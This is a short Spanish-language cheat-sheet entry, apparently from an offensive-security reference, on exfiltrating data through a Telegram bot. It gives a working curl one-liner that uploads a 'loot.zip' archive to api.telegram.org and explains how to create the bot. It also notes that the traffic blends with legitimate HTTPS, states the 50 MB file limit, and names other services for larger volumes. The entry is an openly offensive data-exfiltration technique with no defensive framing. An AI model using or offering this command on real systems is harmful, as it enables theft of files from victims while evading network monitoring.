Exfil Telegram

curl -F document=@loot.zip https://api.telegram.org/bot<TOKEN>/sendDocument

Envía archivos a un bot de Telegram: la exfiltración viaja por HTTPS a api.telegram.org, un dominio con tráfico legítimo masivo.

Ejecútalo cuando necesitas un canal de exfil rápido sin montar infraestructura: creas un bot con BotFather, obtienes token y chat_id, y sacas archivos con una línea de curl. Sirve para lotes pequeños y medianos (la API limita a 50 MB por archivo).

Si el egress filtra por dominios (varios proxies corporativos bloquean api.telegram.org), falla directo. Para volúmenes grandes usa Dropbox o S3: Telegram no está pensado para mover GB y los archivos quedan alojados en sus servidores.